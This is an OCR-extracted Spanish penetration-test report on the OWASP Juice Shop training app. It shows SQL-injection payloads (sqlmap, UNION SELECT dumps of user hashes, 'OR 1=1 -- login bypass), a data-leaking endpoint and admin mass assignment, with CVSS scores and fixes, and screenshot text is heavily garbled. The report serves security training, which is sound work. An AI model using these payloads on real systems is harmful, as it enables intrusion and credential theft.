UMCAT 1wl cHIVZRL 6 ZUL tYWd LT |01 L2FZC2V0Cy Swdn s dnb s

CRVOT § 0111wl 3XHEY 3RpdnLI OnRy dWUs L iy ZWFOZWRBC

ZVRVaZVUI Jo1Tiwik iOLIWLjA 1
1Z2VZ1L 3Wwh GShZHM ZGVMY XVS dCS: iLCicbar 1
1§ TwMj TtMOCEMDQGM] AGM] gEMzQuMZAYICswMDD |

1

Date: Tue, 05 Jul 2022 14:58:20 GMT
Connection: close

SINVWZGFOZWRBACT 61 ] L] I tMDC tMDOGM] AGH g CwMDoWMCI 51mRLbGYOZWRBACT bnysbHOSTmL {
23] LiyMOwi Zihvu] § 01N LIZOT gONT T . REA11010CT LKbT xm3T1 PGANY KVGY 10Y gB3dvAbE3GH AW 8ko *status
GD7hgpxPSELSPYVAH] vi - Czp_V- cqRVHWSI rsaloqOtNrl - gxvyvg_tvRQdP3QICrs)faakbsDeel *data": [
r20HHPSZ82FS|kL3%eypPA
8 close "id:s,
Referar: http://192.168.42.194: 3000/ “name®:*Banana Juice (1000mL)*,
Cookie: language=en; welcomebanner_status=disniss; cookieconsent_statussdismiss; “description®:*Monkeys love it the most.®
hnr 27V0aMDb e dSkgEL G2 “price:1.98,
43 oevPYOZERGZKNN] 788pjrl; continueCode "deluxePrice":1.59,

W "image*: "
If-None-Match: W/* 3250 GERrwtKY S4XHY € ITLCSBOI CAhXY " “createdh +00:00*,
12 “updatedn +00:00*,
“deletedn

r
1
1
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"

Fig. 3: Consulta alterando el valor del pardmetro “q”.
De todo ello concluimos que:

- Podemos lanzar directamente solicitudes a la base de datos sin pasar por los filtros del front
end enviando una peticién GET a la APl en la ruta: /rest/products/search?q=VALOR

- Como el valor del parametro “q” se inserta en la consulta SQL enviada a la base de datos, es
probable que exista la posibilidad de realizar un ataque de inyeccion SQL sino esta

debidamente filtrado.

El siguiente paso, serd probar de insertar algln caracter de escape en la consulta para ver si
obtenemos un error que nos indique que la aplicacién es vulnerable a un ataque de inyecciéon SQL

O= = | see
Reque
Query
BadyP

Reque

Requer

Respor

e
L; eontinuscods

oM Products wH
OROER BY name

E R
AT 15 L)
1

Fig. 4: Imagen de una consulta con caracteres de escape para evaluar la posibilidad de inyeccion SQL.

El programa nos devuelve un error en donde podemos ver la consulta que se estd lanzando y la base
de datos con la que trabaja la aplicacién: SQLITE.

A partir de aqui podemos continuar con una explotacién manual de la vulnerabilidad o usar una
herramienta como SQLMAP.

EXPLOTACION CON SQLMAP

Abrimos la herramienta sqlmap y lanzamos la siguiente consulta que nos devolvera todo el
contenido de la base de datos:

sqlmap -u "http://juice.shop:3000/rest/products/search?g=" --level=3 --risk=3 --dbs —all

Aqui podemos ver diversas capturas de la extraccion de datos que realiza la herramienta con dicho
comando:
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http://192.168.42.194:3000/rest/products/search?q=

o Uability and are ot

ter 'q' might nat be injectable

testis o o
0] GET pavameter 'q' can-based blind - WHERE or RAVING clause’ injectable (with --string="The')

appear: 1
Fo] heuristic (extendsd) test shows that the back-cnd DBNS could be 'SELite
end 08U is ‘saLite’. Do you want to ski

ou want to include a1l tes: 3

t payloads specific for other DEMSes? [,
e extending provided level (3) value:

p te
-+ for s

9 | <blank>
00 | <blank>

a I 0. /
r | admin o 1 5 abf1bbffcb7asasef 5 1:07: 00: 2 07:45.831 +40:90 | <blank>
<blani> 10.0.0.0 sages, au
253 | admin sh. " c873c539 4120875 7bs 5 7:45.832 +00:0¢ 2-05-1: 832 | <blank>
ank ? ng

255 | delume 4 h.o | 86 26931dc 700481281 o 7. .8 00 | <hlank>
38 701003200 | 9.9.9.0 loads,
255 | asmin Jmail. con | 3869433d74e 10 8B# 025562 F36bcE2 < -05-1 o 2 +00:00 | colank>

1 9.0.0.0
| £29330600ba05 Tbese33b8ebdEdes <blan 21:07:45. 2 +00:00 | <blank>
1 9.9.0.0 a "

c +00:90 | <blank>

| 0.0.0.0

<a6easf1327d0aae3 <blan 13 21:07:45 145,835 +00:00 | <blank>

| 0.0.0. anset /images/uplaads/defaul Ladnin.

| 9adsbo4g2bbes28583 21:07:45.8 bl 5 400:00 | IFTX
0.0.0 rages,

put ,
| <lonko 13 21:07:43 022-05-1 0 | <blank>
public/inag
| cblan> 0 | <slanko>
</public/inages/uploads/12.png
<blank> : 00 | <blanks
ublic/inages/uploads/13. jpg
| <tanko 2 36 +80:00 | 2022-05-13 21:07:46.296 +00:00 | 2 E 00 | <olank>
public/inages,
1 g62e10%5 bt csds6e | colanio | 2022-05-13 21 . 40:00 | <la

255 | custer

plo:

| esfo2 | > : 36 +09:00 8 +00:00 | <blank>

I feo 1 98220 2 6 +00:00 +00:00 | <blank>
a es/up)

1 20479 % : 0:00 90:00 | <blank>
| a. o

| 402f1cka75e316af ec5a60a63147 739 | E-na 202 - +80:00 | <blank>
| 0.0.0.0 it

3430450094 733136088004 | 022-9: 07:43.8 " 7:45.836 +90:00 | <blank>

c2ad347051a1F4e39 | 0.9.0.0

EXPLOTACION MANUAL

A continuacidn, mostramos una inyeccion manual que nos devuelve todas las tablas existentes en la
base de datos y su estructura:

=) <
==
Request Response a e
eretty [Nl vex B \0 B rew tex rencer B 0 Sels
1 GET /rest/products/search?q=APPLE' ) )UNION+SELECT+SQL, 2 1. st
,3,4,5,6,7,8, 9tFROMtsqlite_master;-- HTTR/1.1
2 Host: 192.168.1.41:3000 wide: o
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 ['CREATE TABLE ‘Users® (‘id" INTEGER PRIMARY KEY AUTOINCREMENT, ‘username’ a
Firefox/91.0 VARCHAR(255) DEFAULT '', “email’ VARCHAR(2SS) UNIQUE, ~password’ VARCHAR
4 Accept: application/json, text/plain, */+ (255), “role’ VARCHAR(2S5) DEFAULT 'customer', deluxeToken® VARCHAR(255) v
5 Accept-Language: en-US,en;g=0.5 DEFAULT '', “lastloginIp’ VARCHAR(25S) DEFAULT '0.0.0.0', “profileImage’ ,
Accept-Encoding: gzip, deflate VARCHAR(255) DEFALLT ' fassets/public/images/uploads/default.svg', totps d
7 authorization: Bearer ecret’ VARCHAR(255) DEFAULT '', “isActive’ TINYINT(1) DEFAULT 1, "created T
eyJ0eXAL 01 JKV1QiLCIhbGEi 01 ISUZT 1N J9. ey JzdGFOXM 01 J zdWNj ZXNZT iwi ZGFOY ST At’ DATETIME NOT NULL, updatedAt’ DATETIME NOT NULL, ~deletedAt’ DATETIM o
62y IpZCI6Mywi dXNLcmShbiUL 01 T1L.CI 1bWFpbCI6ImI LbrRLck Badwl jZS1zaCSveCIsIng B,
he3n3b3akI j 01 MGMzNMUIMTdLM2ZhoT VhYWImMWI1Zmz]Nj cONGEOZWY1LCIyb2xLIjoiY 3V “name":2,
zdGotZXI1LCIkZwx 1eGvub2t1biI6I1IsImxhc3RMb2dpbk Lwl jo1MCAWL]AUMCISINBYb2Z "description®:3,
pbGVIbWFNZSI 61 mFzc2Vocy 9wdwasaWMy aw1hz2vzL 3vwbGshzHMy ZGVmY XvsdCSzdme1 LCa "price":4, =
0b3RWU2V] cmvOI j 0111wiaXNBY 3RpdmUi OnRydwUSImNy ZWFOZWRBACI 61 ] TwMj I tMDCtMDC »deluxePrice":5s,
gM] I6NDk BMDAUM] cwI CSWMDOWMCL SInVwZGFOZWRBACI 61 j IwMj I tMDctMDcgM] IENDk EMDA *image" :6, Que
uMj cwI CSwMDowMCIsImR1bGVOZWRBACI 6bnvsbHOSIMLhdCI 6MTY INZIZNTYzNLwi Zxhwl jo “createdat”:7,
XNJU3M] UzNj M2 Q. LOS10LN4iwzxDTz_Y e 68AJDcDI ys 1FSSS0L0 I pRmasUooolck0aPSoKp "updatedat” Bod
4uk6cVCbmsKOT 0ZUvyXSwlQGY QWmeAp Vp gnWGeMQ30hus I LhtGKKucz f 2w3EwNSMEWST LV "deletedat”:9
qS2C94m)ZCpgRDaJ7euggtXQie_o3aDY QUIFqvInmzk , Req
& Connection: close i
Referer: http://192.168.1.41: 3000/ "id': Req
cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status= "CREATE TABLE ‘wallets' ('id’ INTEGER PRIMARY KEY AUTOINCREMENT, balance
dismiss; continueCode= INTEGER DEFAULT O, “createdAt’ DATETIME NOT NULL, "updatedAt’ DATETIME o
00NNr3PSe2wyWXVZBxbJ 1RMG2ETKI 0SY Lf qWAGLDKag7m] EzvYQgok Lep944 NOT NULL, “UserId” INTEGER REFERENCES ~Users™ ("id’) ON DELETE SET NULL O
11 If-None-Match: w/*3250-qa7Lfj/Af gPSIh3DfBOSWGHERCY " N UPDATE CASCADE)",
12 "name":2,
3 “description:3,
“price’:a,
“deluxePrice":5,
"imanat &
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La siguiente captura es la de una inyeccion manual que devuelve lista de usuarios y el hash de sus
contrasefas:

Dashboard  Target  Proxy  Intruder  Repeater  Sequencer  Decoder  Comparer  Logger  Extender  Projectoptions  Useroptions  Leam

<+

O = = |inspecTor

Respanse

vx B 0 =

8w = Request Attributes

1 GET /restproducts searchq=aPeLE" ) )UNI 0N SELECT homsi 1, password 1 WTTB/1.1 200 0K
+3,4,5,5,7,8, $+FROMHUSERS; - HTTP/1.1 2 access-control- allow-origing * Query Parameters 1)
2 Host: 192.168.1.41:3000 3 X-Contant.Type-Optiens: nosniff
User-Agent: Mozillass.0 (X1L; Linux x86_64; rvi9l.0) Geckn/20100101 a|x- Body Parameters (0]
Firefou/s1.0 E
Recept: spplicationsjoon, text/plain, +/+ 5 Content-Typa: applacation/json; charset=utf- Request Cookies (4)
5 Accept-Language: 1 2n;920.5 * ceB- 62 YEQy YRCSNL 2V1+G2quL 3KE
6 Accept-Encoding: gzip, deflate cept-Encoding Request Headers (10)

7 Authorization: Bearer
2y 0eKAL02 IKV103LEIhbGEE 03 JSUL LN: I, ey J2dGROdXML Ca JzdWN] ZKNzLi wi ZGFOYST
ey IpZCLEMywi dAN]emShbwL 03 71.LC1 b pbCL61m) LbmAL ek Bnd]§ 251z CovecsIng
heanabaIkIjo1MGM wl.\]wchEZI‘fﬁwwh'Ju'W:12mZ]N](W 071

11 Jul 2022 21:35:49 GMT

Response Headsrs (10)

2
pbGbhENZSI 62 Oy @wdi )=k sW1hZ2V=L 3\iwbGSh 2y ZGVY KVscCSzdne LCI
0b3PWUZY] CIVOT |01 111 aXNEY 2RI ONFRy éWUST Ny ZWFOZWRBGCT 5T Tl 1 THDETMDC
QM) IGNDKEHDALM) CwICSWMDOwMCISLAVWZGROZNREACT 6T ] In) I EMDGC DX GH) TENDKEVDA
My cul CouHDouMCT STARIbGYOZWRBACT Sbr¥skHOS Tl NdCT BMTY 1 AT Yz wi X j o
XML LZNIME4 . LOS 101141 o DT 2_Ye6@AIDeD Y1 T
cuk&xmwuxmnzuwxs‘lcmmsAszuuwcmmr
Q520841 ZCpgRDa) Teugq tXONe_o3g0Y QUIFqw Jnmzk
Connectien: c

5 Referer: http://192.168.1.41:3000/

10 Cookie: language=sn; welcomebanner_status=dismiss; cookieconsent status=
dismiss; continueCode=
00NN 3PSe 2wy WXV ZExk. IRMGZETKL 05Y L f qWAGLOKaq 7] E2v T Qgok 1 8psdad

11 If-Nona-Match: W/*3250-637L1] /Al gPSThaDIBOSW+ERCY "

4gjuice-sh.op"
Ebasasoasnt127d0nNeT712b7d" ,

20ch4cSde36dc

Usando los datos obtenidos en las tablas, podemos ir mejorando las inyecciones. En la siguiente
captura seguimos trabajando sobre la tabla usuarios, pero devolviendo mds campos pertenecientes
a la misma:
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== <

Request

Ol = = |inspecTOR

Response

oy [ vex B 0 raw Hex render [ W Request Attrit
GET /rest/products/searchig= 7 ETag: W/"ed6- Z1]PSY2] XGAHEGEM1Z | NZOWIFSU"
APRLE' ) ) UNION+SELECT+1d, username, emai |, passward, role, deluxeToken, totpbec 8 vary: Accept-Encoding Query Parami
ret,1sActive, SHFROMAusers; - HTTP/1.1

2 Host: 192.168.1.4 Body Parame!

3 User-Agent: Mozilla/S.0 (X11; Linux xB86_64; rv:91.0) Gecko/20100101
Firefox/81.0

4 Accept: application/json, text/plain, =/* 13

S Accept-Language: en-US,en;q=0.5 *status® :"success”, Request Head
Accept-Encoding: gzip, deflate *data: |

7 Authorization: Bearer
108 XA 01 JKV1Q1 LCIhbGE1 01 JSUZT 1N 19, 81 2d GFOJXML 01 JzdWh) ZXMz i ZGFOYST
62y )pZCI6Mywi dXNLemShbWU 0111 LC) LbWFphCI 6Lmd LbmA ckBqdwl ) Z51zaC5veCTsIng
e 303b 31k 1 01 MGMZNmLILMT d LM2Z 0T vh W mMe)  ZnZ ] € ONGEGZWY 1L Clyb 2x 11101 Y3V
2dGOtZ411L CIkZWx 1eGVLL 2t Lbi 16T i 1sImxhe 3RMb 2pbh LuT ] oi MCAWL j AUMCI STnByb2Z
PbGVIbWENZST I mFzc2V0C y Swdw] s iy sl hZ2VzL 31iwbGSh ZHMy ZGVmY X¥sdCSzdme1LC)
Ob3AWLIZ] VDT ] 0113wl aXNEY 3R DnRy dWLs T iy ZWFOZWREACT 51  TwM] 1 tMDe tHDe
M) T6NDk SMDAUM) ] CwMDoWMCT 5 [ VwZGFOZWRBACT 61 j Tw) I tMDC tHDCgM ) T6NDk MDA
M) CWI CowMDoRMCT STMRLbGVOZWREACT 6bnVsbHOsImLhACT BMTY INZTZNTY 2N1wa ZXfmwl J o
xNJUEM) UzN) M2 Q. LOS101Nd1 w2 xDT 2_Ye68AJ0cD1 ys1F5550L0lpRnasLooo ek 0aPICKp
Ak EcVChSKOT OZUvy XS GY GWmEApVparivGeM30hus T 1htGKKuC 21 24 3EWNSMEWSTL Vi
q52Ca4m] 2CpgROa) Teugg tXGhe_o3gDYQLIFqvnmak
Connection: close
Referer: http://192.168.1.41:3000/

0 cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=

; continueCode=

Se2wyWXNZBxb IRMGZETK1 0SY L qWABLDKag7m) E2vY Qgok L 8p94aa

11 If-None-Match: W/*3250-qI7Lf]/afgPSThani BOSwq+ERCY * image®:*",

*createdat

*updatedat

*deletedat

Request Cook

Respanse Hea

:*bender@juice-sh.op*,
36e517e3f a05aabf 1bbffc67adadef ",
t* customer",

1,
s
ridhaa,
name* :
[QIHIEANE omatches  (7){03 (&[> 0 matches

Cabe destacar que la contraseia de algin administrador se muestra realmente débil lo que
compromete mucho la aplicacién. Por ejemplo, a partir del hash de la cuenta admin@juice-sh.op

podemos obtener su contrasefia en minutos directamente desde un servicio online

o ocket Secur. & Hack The Box w Metasploitabl.

Hackin

& KaliNetHunter | OffSec

-/ Real-time web analytics
‘with apen source tracking code

Md5 hash digest Md5 digest unhashed, decoded, decrypted, reversed value:

21920

I Copy Value
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VUL_002 — FILTRACION DE DATOS en el endpoint

FILTRACION DE DATOS en el endpoint

vulLo 9,9 CRITICA

02
http://juice.shop /rest/user/authentication-details
URL /rest/user/authentication-details

Se descubre un enpoint en el archivo main.js que responde a una peticién GET
de un usuario regular rebelando los datos basicos de todos los usuarios como
correo electrénico, nombre de usuario, e incluso algunos tokens JWT y los
codigos totpSecret que permiten generar una doble autenticacion valida para
DESCRIPCION cada usuario.

De esta manera, cualquier persona con un minimo de conocimiento puede
lograr obtener informacién sensible muy importante para burlar las cuentas
de usuario, entre ellas la del administrador.

1 var Ot = d(8929):
3 let N = (() =>{
class o {
constructer(e) {
i this.http = e,
’ this.isloggedIn = new Qt.xQ.
this.hostServer = '.°,
this.host = this.hostServer + /api/Users’
) ¥
find(e) {
2 return this.nttp.get(this.hostServer + '/Fest/user/authentication-details/", {
params: e
1 .pipe((8, _.U) (n=>n.data), (8, m.K) {n=>{
5 throw n
5 1)
i ¥
get(e) {

] return this.http.get( ${ this.host }/${ e } ).pipe((8, _.U) (n==n.data}, (8, m.K) (n=={
] throw n

L 1) CédlgO
en el main.js donde se revela el endpoint

ERG o Taget ity

itk LIbo?7 G

Peticién con un usuario recién credo que recibe los datos basicos de todos los
usuarios de la aplicacidn, incluyendo el JWT Token del administrador y los
diferentes roles

EVIDENCIA
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RIESGOS

RECOMENDAC
IONES

REFERENCIAS

joLlimiZHINa

3 LahN1L
= jdinck2 1L ei Ls Lol berzdecvzal s
2L w01 220 2V0cy Sutnd5 M1 HZ2V2LS\wb DSz My ZaVm xvsdCs2dnc L CIch SR izi) cnvel |
spd i W] L LHDGENT A = zh

cre1;1 "message’: N0 duthorization header wes found’
el

FRIEBOEST zudELe

Tjmisq 1 o
E5en0CI 425t a1 2 gCuTHtkieno- LLDoP7GaTzL |22}
2}

1H-ane-patchs Wy b-/SoshovivhevanRavUZIEL T IS

Imagen
de una peticién sin Bearer Token de usuario que la aplicacion deniega,
demostrando por el mensaje recibido que lo Unico que se revisa para obtener
una respuesta en la peticion es que exista un bearer token en la cabecera de
la peticion.

Con la informacién obtenida es muy posible que se puedan vulnerar todas las
cuentas de usuario ya sea por:

1) Bypass de login a través de inyeccidn SQL

2) Uso del bearer token obtenido

3) En caso de doble autenticacidn, uso del totpSecret para burlarla.

4) Nos permite obtener los diferentes roles usados en la aplicacion, con
ello podremos crear usuarios con dichos roles a través de otra
vulnerabilidad de la aplicacidn

Por tanto, ganar una cuenta de administrador puede causar un dafio aun
mayor en la confidencialidad, integridad y disponibilidad de los datos de la
aplicacion

No se revisa debidamente que la peticion se haga desde un usuario
autorizado, no hay un control bien instaurado. Se deberia revisar que rol y
permisos tiene la persona que hace la peticidn.

Ademas, estas peticiones deberian rebelar solo los datos de la persona que la
estd haciendo, por tanto, la consulta a la base de datos es también erréneay
existe una mala practica en la programacién de la aplicacion.

https://www.packetlabs.net/posts/broken-access-
control/#:~:text=Broken%20access%20controls%20are%20the,10%20web%2
Oapplication%20vulnerabilities%20list.

https://owasp.org/Top10/A05 2021-Security Misconfiguration/

https://owasp.org/Top10/A01 2021-Broken Access Control/
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EVALUACION DE CRITICIDAD CVSS 3.1

Vul_002 FILTRACION DE DATOS en el Endpoint

CVSS3 PUNTUACION CRITICA 9,9

Vector de Ataque Red, es accesible desde internet

Complejidad Baja, no se requiere de circunstancias especiales para realizarla

Privilegios requeridos Bajo, se requiere una cuenta normal de usuario

Interaccion del usuario Ninguna

Con cambios, la vulnerabilidad nace y afecta a la aplicacién, pero
rebela también datos de usuarios que podrian usarse contra ellos,
por ejemplo, la dltima IP desde donde se conectaron.

. L ALTA, pues permite obtener datos que nos pueden brindar acceso de
Confidencialidad . p P q P
administrador

. ALTA, pues si conseguimos accesos de administrador podremos
Integridad . . L

comprometer la integridad de los datos de la aplicacién

ALTA, pues si nos permite obtener un acceso de administrador
podremos borrar y denegar acceso a los datos de la aplicacion

Disponibilidad

EXPLOTACION

Al revisar el cddigo javascript de la aplicacidon nos encontramos con diferentes endpoint de la API.

Es una practica habitual lanzar peticiones a estas rutas para ver como responden con diferentes
verbos http. También es practica habitual usar técnicas de fuzzing en las mismas para descubrir
posibles parametros que se pasan a las mismas.
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? var Ot = d(8929);
3 let N o= ({) =={
class o {
constructorie) {
this.http = e,
sLoggedIn = new Qt.xQ,

s.hostServer = '.',
his.host = this.hostServer + "fapi/Users’'
1
find(e) {
return this.http.getithis.hostServer + '/restfuser/authentication-details/", {
params: e
}).pipe( (@, .U} (n=>n.data), (@, m.K) (n=={
throw n
o
getie)
return this.http.get("${ this.host }/${ e } ).pipe(({0, _.U} {n==n.data), (8, m.K} (n=>{
throw n
o

Ademas, se revisa también el comportamiento de este endpoint cuando encontramos el panel del
administrador, que hace una llamada al mismo para cargar los datos que se muestran en dicho
panel.

Si hacemos una peticidon GET sin estar logueados en la aplicacién o simplemente borrando el BEAR
TOKEN de la cabecera, obtenemos el siguiente mensaje de error: “No authorization header was
found”.

8= Hx
01 Lnauthorize
trol-Al
3 X Type-0p
2 1 X-Frame- Options:
5 A
c /1921581, 4113000/ 1 !
1 rebannar_status=disniss; cookleconsent_status=dismiss; 11 Content-Langth: 224
ipu) hME 3 XT 2T 52 % SEUVHau 3cg1 SSZUNRC Oaf VHBLSRZCWZT VKSNZUL | cOr cv1slasha; 12
132y XE5 1 JpjzmeiG2rh; 3
YN RN
SleeylpZclemissinvzz |1
ymazjhazTeN 1
1
0 -
L2 8XVBY FRpd L ONRy WU KOICs wMDoWHCL ST 1
CI6T jTwM; TEMDGEMTAGH A D 05 Il hdCT 6 20 i
mzkafQ. 1jm1SaPqCadal [ux6L )
P st e 2}
¥

El mensaje parece indicar que para poder hacer peticiones al enpoint, lo Unico que se requiere es
gue la aplicacion encuentre un BEAR TOKEN en la cabecera.

Todo ello parece indicar que los programadores, al ser un endpoint al que se solo se le lanzan
consultas desde el panel de administracidn, no han tenido en cuenta que se puede descubrir el
mismo y no han creado un sistema de autenticacidon/autorizacidn correcta para este.

Para probar nuestra teoria, tras iniciar sesidon con un usuario recién creado, enviamos la peticion de
nuevo y recibimos una lista con detalles importantes de todos los usuarios, como se puede ver a
continuacién. Detalles que podran servir para burlar la seguridad de la aplicacién y acceder a sus
cuentas:
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VUL_003 — INYECCION SQL bypass de login

SQL INJECTION — BYPASS DE LOGIN

Vul_003 9,8 CRITICA

http://juiceshop.com/rest/user/login

La inyeccién SQL es una técnica que permite al atacante alterar las
consultas SQL enviadas a la base de datos pudiendo recuperar y en
ocasiones incluso alterar o destruir la informacién existente en esta.

En este caso concreto, la inyeccidon nos permite realizar el inicio de
sesion en cualquier cuenta de usuario existente sin necesidad de
DESCRIPCION conocer la contrasefia a excepcion de los usuarios que tengan activado
el doble factor de autenticacion.

Cabe destacar que mas adelante, se han descubierto también
vulnerabilidades en el doble factor de autenticacion con lo que el
acceso a cualquier cuenta de usuario de la aplicacidn sencillo y rapido.

Login

admin@juice-sh.op'-

cualquierPasswordVale

EVIDENCIA

5] Log in

[] Remember me

Captura de una inyeccién en el inicio de sesién que nos permite acceder
como administradores.
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6
Q @ Account W Your Basket &P EN

admin@)juice-sh.op
Orders & Payment »
Privacy & Security »

Logout

Best Juice

Captura de un inicio de sesion como adminsitradores conseguido.

Robo de credenciales para efectuar una escalada de privilegios. Robo
de datos importantes de clientes como tarjetas de crédito.
Monitorizacion de actividad. Alteracién y manipulacién total de los
datos de la aplicacién.

RIESGOS

Hay que efectuar 4 acciones recomendadas de forma urgente:

- Sanear y filtrar la entrada de datos a nivel de front end.

- Sanear y filtrar la base de datos a nivel de back end.

- Compartimentar y delimitar las tablas a las que puede acceder la
aplicacion desde los diferentes lugares de la API.

- Monitorizar e instalar sistema de deteccién de estos ataques. Un
waf seria muy recomendable.

RECOMENDACIONES

https://www.w3schools.com/sql/sqgl injection.asp

REFERENCIAS https://owasp.org/www-community/attacks/SQL Injection
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EVALUACION DE CRITICIDAD CVSS 3.1

Vul_003 INYECCION SQL bypass de login

CVSS3 PUNTUACION CRITICA 9,8

Vector de Ataque Red: el ataque se puede montar a través de Internet.

Complejidad Baja, es un ataque basico de SQL INJECTION

Ninguno: el ataque podria ejecutarse desde una perspectiva no

Privilegios requeridos . .
g q autenticada/no autorizada

Ninguna, la vulnerabilidad se explota realizando peticiones

Interaccion del usuario . S
directamente a la aplicacion

Sin cambios, la aplicacién atacada es donde ganamos el acceso y no

Alcance , .
a otros, aunque podria facilitar la escalada

Alta, pues supone un acceso de administrador y el atacante adquiere

Confidencialidad S
todos sus privilegios

Alta, pues supone un acceso de administrador y el atacante adquiere

Integridad S
todos sus privilegios

Alta, pues supone un acceso de administrador y el atacante adquiere
todos sus privilegios

Disponibilidad

EXPLOTACION

Lo primero es realizar pruebas bdsicas sobre el formulario de inicio de sesidn para ver si es
vulnerable a ataques de inyeccién SQL.
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) Log in

[J Remember me

Fig. 1: Imagen de un error en el formulario que indica que es vulnerable a inyeccion SQL.

Capturamos y analizamos la peticidn al back end que nos devuelve el error y obtenemos informacion
sobre la consulta SQL se esta lanzando. También podemos ver como la comilla se pasa como
parametro en la consulta SQL y hace que nazca este error.

[T R
Request
Eflo B0 =
POST frest/user/lagin WITR/1.1
2 Host: 12.158.1.41:3000
Lar )
: wess, dof :
P ication/json p/node_modulesy z
c Len: = e-shop/nad_mad q
o Origin: htt://162.168.1.41:3000 i
L0 Connection: close . -
1a g
M o , il = ' AND password = ' 0102023a7bbd73250516f CeodF 18650
*password®  “adnin1 23"
ail = *'' AND password = '0192023a7bbd732505161 065F 18050
CT *+ FROM Ussrs WHERE smail AND password = ' 0192023a7bbd732506161 066df L8050
AND delatadat 1S ML
51

Fig. 2: Imagen del error devuelto por la aplicacion.

EXPLOTACION de bypass de login sin cuenta de correo electrénico

Vista la consulta que se lanza, preparamos un primer ataque. El objetivo del mismo es hacer iniciar
sesidén con permisos de administrador sin ninglin usuario ni contrasefa.
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Lo que haremos con esta inyeccién es hacer que la consulta SQL nos devuelve los resultados de la
tabla usuarios. De ser asi, posiblemente se quede con el primero de todos, que suele ser
administrador y haga el inicio de sesién con dicha cuenta.

PAYLOAD USADO: ‘OR 1=1 --

A continuacidn, se muestran captura del uso de este payload y como con el podemos entrar como
administradores en la aplicacién.

Login

Email *

'OR 1=1--

3] Log in

O Remember me

Not yet a
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User Profile

Usemame:

\_/

Set Username

File Upload : ile selected.

Upload Picture

Image URL:

Link Image

1 HTTR/L.1 200 0K
2 A rol-

3 X-Content-Type-Optisns: nesniff
%-Frame-Options: SAMEQRIGIN Re

5 Feature Palicy: payment

© Content-Tyoe
Content-Lengtl

nt 'self
atien/json; charsst-utf-g fie

HYDOOCT Kz +936xq Y

a
2 23:10:30 G4

| Connection: ©
statussdismss; cookieconsent_statussdismss: 3

S20MgQLA] LT 1) ORIFKLXMYEY rDj ZmiR7 aD50 1

*authentication’ s {
"t

emarlertioR =1,
*password! " adninl2s'

EXPLOTACION de bypass de login con cuenta de correo electrénico

Para lograr entrar con una cuenta de usuario de otra persona necesitamos conocer el correo
electrénico de la misma y usar una inyeccion SQL que nos permite anular el parte de la consulta
lanzada al servidor, de modo que solo se solicite un usuario por su correo.

PAYLOAD USADO: Usuario@juice-sh.op’--

Los pasos a dar serian, primero, encontrar un correo de usuario, por ejemplo, en las resefias:
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mailto:Usuario@juice-sh.op’--

Reviews (2)

ice-sh.op
I'd stand on my head to make you a deal for this

piece of art.

bender@juice-sh.op
Just when my opinion of humans couldn't get an
y lower, along comes Stan...

Seguidamente, hacemos uso del payload anterior modificando el correo por el del usuario que
gueremos vulnerar, y luego afiadiendo algo de texto en el campo de contrasefias.

Login

Ema

bender@juice-sh.op’--

Forgot your pa

3] Log in

[[] Remember me
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User Profile

File Upload

Upload Picture

Image URL

Link Image

Request

Raw Hex B 0
POST /rest/user/\ogin HTTP/1.1

2 Hast: 1 1.41:3000

User-Agent: Mozalla/s.0 [Xil; Linux xB6_64; rv:s1.0) Gecko/20100101 Firefox/s1.0

Accept: application/jsen, text/plain, */+

Accept-Languaga: an-US, an;q=0,5

Accspt-Encoding: gzip, deflate

7 Content-Type: appl
Content-Length: 55
arigin: hetp:

10 Connection:
1 Referers httpi//182,168, 1.4153000/

12 Cookia: languaga=en; welcomsbanner i

bY2rpoKESKE3a08DwGQ1 AT | 1) OBIPKLXMYEY D) 2

son

dismiss; cookisconsant_status
AT

Y como podemos ver en las anteriores capturas, hemos tenido éxito y conseguido iniciar sesion

como administradores.

Set Username

Raw Hex render [ W
HITP/1.1 200 0K

2 accesa control-allow-Crigin: =
K-Content-Type-Options: nosnifi
1 K-Frame-Gptions: SAECRIGIN

S Feature-Policy: payment ‘se
Content-Type: application/ison; charset=utf-g

7 Content-Length: E31
ETag: w331 - xkdaE7Rw) 20241

LSNP

11

12AGAOdXM 0 JzduN DX
51z aCSveCL sLnBhe b3,
K Zx oGl
Myaw1hz2\ V.
{CT6T] LWy TEHDC DX
MOALM] CuT Canl
b2 10l

t1b106T
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VUL_004 - REGISTRAR UN USUARIO como

Vul_00
4

DESCRIPCION

EVIDENCIA

RIESGOS

RECOMENDACIO
NES

administrador

REGISTRAR UN USUARIO como administrador

9,8 CRITICA

http://192.168.1.41:3000/#/register
http://192.168.1.41:3000/api/Users/

La aplicacién no valida correctamente las entradas de datos que se envian
desde el front end hacia el back end haciendo que se posible capturar y
alterar estas peticiones para manipularlas y alterar el comportamiento.

En este caso concreto nos permite alterar la creacién de un nuevo usuario
y asignarle el rol de administrador o cualquier otro rol conocido y
descubierto por el atacante.

e g e T

£

A0 RSSO T T

1 i i “-Captura
de la peticion que se remite desde el front end de la aplicacion
debidamente alterada para la creacidon de un usuario administrador

Un atacante podria crear un cuenta con permisos elevados de
administrador para ganar acceso a todas las funcionalidades que tengan
estos, permitiendo el acceso, la alteracion y denegacion de datos de la
aplicacion en si.

El back end deberia filtrar las peticiones que le llegan para no permitir que
un usuario anénimo pudiera crear una cuenta de administrador. En caso
de recibir una peticién con rol de administrador, deberia denegarse o
crearse solamente un usuario regular.

Se recomienda mover la creacion de usuarios administradores a un lugar
seguro y que las peticiones de creacion de los mismos se procesen con la
debida identificacién y autorizacion.
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https://cheatsheetseries.owasp.org/cheatsheets/Mass Assignment Chea
REFERENCIAS t Sheet.html
https://cwe.mitre.org/data/definitions/20.html

EVALUACION DE CRITICIDAD CVSS 3.1

Vul_004 REGISTRAR UN USUARIO con rol de administrador

CVSS3 PUNTUACION CRITICA 9,8

Vector de Ataque Red: el ataque se puede montar a través de Internet.

Baja, la explotacion se logra a través de una simple captura y
alteracion de los parametros enviados al servidor.

Complejidad
Ninguno, el ataque se realiza sin tener ningln tipo de cuenta de

Privilegios requeridos . . .
usuario previo al mismo.

Interaccion del usuario Ninguna, la vulnerabilidad se explota sin interaccion de los usuarios.

Sin cambios, la vulnerabilidad se ejecuta y afecta a la aplicacion.

Alta, teniendo en cuenta que un administrador podra acceder a datos

Confidencialidad . .
sensibles de los usuarios.

Alta, teniendo en cuenta que un administrador podra alterar datos

Integridad . .
& sensibles de la aplicacion

Alta, teniendo en cuenta que un administrador podra borrar datos de
